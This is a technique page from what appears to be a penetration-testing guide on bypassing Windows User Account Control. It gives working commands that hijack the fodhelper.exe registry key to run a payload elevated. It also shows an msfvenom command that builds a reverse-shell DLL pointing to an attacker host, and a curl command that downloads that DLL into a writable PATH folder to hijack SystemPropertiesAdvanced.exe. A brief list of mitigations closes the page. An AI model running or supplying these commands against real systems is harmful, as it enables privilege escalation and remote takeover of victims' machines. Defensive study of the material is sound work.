Skip to content

UAC Bypass

With UAC enabled and Admin Approval Mode on, an administrator’s logon produces two tokens - a filtered medium-integrity one and a full high-integrity one. A command-line shell runs with the filtered token, so even as a local admin you can’t do admin things until you elevate - and there’s no CLI version of the consent prompt. The bypass is to get an auto-elevating trusted binary (one Windows elevates with no prompt) to run your code.

# 0. Confirm you're a filtered admin: in Administrators, but whoami /priv is short
net localgroup administrators # your user is listed
whoami /priv # only ~5 privileges → medium token
# 1. Fastest path - fodhelper.exe reads a user-writable registry key, then auto-elevates
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd.exe /c <payload>" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
start fodhelper.exe # runs <payload> high-integrity, no prompt
# 2. DLL-hijack path - an auto-elevating binary loads a missing DLL from a writable PATH dir
# (e.g. SystemPropertiesAdvanced.exe 32-bit → missing srrstr.dll)

Success indicator: a process spawned by the auto-elevating binary runs at high integrity - whoami /groups shows Mandatory Label\High Mandatory Level, and whoami /priv now lists the full admin privilege set (SeDebugPrivilege, SeTakeOwnershipPrivilege, …) available to enable.

This is not a standard-user-to-admin escalation - you must already be in the local Administrators group. The problem UAC creates is that your interactive/remote shell holds the filtered token, so the admin membership is inert until you re-run code with the full token. Signals you’re in this exact spot:

  • net localgroup administrators lists your user, but whoami /priv shows only the short medium-integrity privilege set (no SeDebug, SeBackup, etc.).
  • You have a shell (RDP, WinRM, a reverse shell) rather than a desktop session where you could just click “Yes” on the prompt.

The built-in RID 500 Administrator is the exception - it runs at high integrity by default (unless FilterAdministratorToken is enabled), so it needs no bypass.

Terminal window
# Is UAC on at all?
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
# EnableLUA = 0x1 → UAC enabled
# How aggressive is the prompt? (fewer bypasses at the highest level)
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 0x2 = Always Notify, consent on secure desktop (hardest)
# 0x5 = DEFAULT - prompt for consent for non-Windows binaries; still auto-elevates Windows binaries
# 0x0 = elevate silently (easiest)
# Which Windows build? UAC bypasses are build-specific
[environment]::OSVersion.Version # e.g. 10.0.14393 → Windows 10 release 1607

The UACME project is the reference catalog: it maps each bypass technique to the Windows build range it works on and whether Microsoft has since patched it. Match your build to a technique before trying one.

Family 1 - registry hijack of an auto-elevating binary

Section titled “Family 1 - registry hijack of an auto-elevating binary”

Several trusted binaries auto-elevate and resolve a program to run from a per-user (HKCU) registry key - which an unprivileged process can write. Point the key at your payload, launch the binary, and your command runs high-integrity with no prompt. fodhelper.exe is the classic (Windows 10+):

reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd.exe /c C:\temp\rev.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
start fodhelper.exe

fodhelper opens the ms-settings: handler, finds your HKCU command, and executes it elevated. Clean up the key afterward (reg delete "HKCU\Software\Classes\ms-settings" /f). Equivalent binaries and their keys:

Binary Registry key it reads
fodhelper.exe HKCU\Software\Classes\ms-settings\Shell\Open\command
computerdefaults.exe HKCU\Software\Classes\ms-settings\Shell\Open\command
eventvwr.exe HKCU\Software\Classes\mscfile\shell\open\command (patched post-1703)
sdclt.exe HKCU\Software\Classes\Folder\shell\open\command / exefile variants

These leave registry artifacts and are heavily signatured by EDR - but they’re one-shot and need no file drop.

Family 2 - DLL hijack of an auto-elevating binary

Section titled “Family 2 - DLL hijack of an auto-elevating binary”

Some auto-elevating binaries load a DLL by name that doesn’t exist, and search a directory you can write to. Plant that DLL and it loads elevated. The writeup’s canonical case: the 32-bit SystemPropertiesAdvanced.exe tries to load a missing srrstr.dll, and its search order includes C:\Users\<you>\AppData\Local\Microsoft\WindowsApps - which is in %PATH% and user-writable.

Terminal window
# 1. Confirm WindowsApps is in PATH (writable, user profile)
cmd /c echo %PATH% # ...\AppData\Local\Microsoft\WindowsApps;
# 2. Build a payload DLL (DllMain runs on load)
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER> LPORT=8443 -f dll > srrstr.dll
# 3. Drop it where the binary will look
curl http://<ATTACKER>:8080/srrstr.dll -o "C:\Users\<you>\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
# 4. Trigger the 32-bit auto-elevating binary
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

The listener returns a high-integrity shell. See DLL hijacking for the search-order mechanics this relies on - UAC bypass is just that technique aimed at an auto-elevating target. (Confirm your DLL runs at all first by invoking it directly: rundll32 shell32.dll,Control_RunDLL C:\...\WindowsApps\srrstr.dll - that returns a medium shell, proving the DLL works before you fire the elevated trigger. Kill stray rundll32 processes between attempts.)

The elevated shell often shows admin privileges as Disabled rather than removed - they’re present in the high token and can be enabled on demand (see SeTakeOwnership and the other privilege pages for enabling a specific one). From a high-integrity context you can dump credentials, write to protected locations, and install services - the medium-token restrictions are gone.

  • Set ConsentPromptBehaviorAdmin to Always Notify (0x2) and, for the built-in admin, enable FilterAdministratorToken - this closes the “RID 500 is already high” gap and the quieter bypass levels.
  • UAC is not a boundary: don’t rely on it to contain a local admin. Treat any account in Administrators as effectively already elevated when modeling risk.
  • EDR signatures the registry-hijack binaries (fodhelper/eventvwr spawning cmd/powershell) and anomalous DLL loads from user-writable PATH dirs - alert on both.
  • Keep WindowsApps and every PATH entry out of a privileged process’s writable search path; patch to current builds (UACME techniques are build-pinned and many are fixed).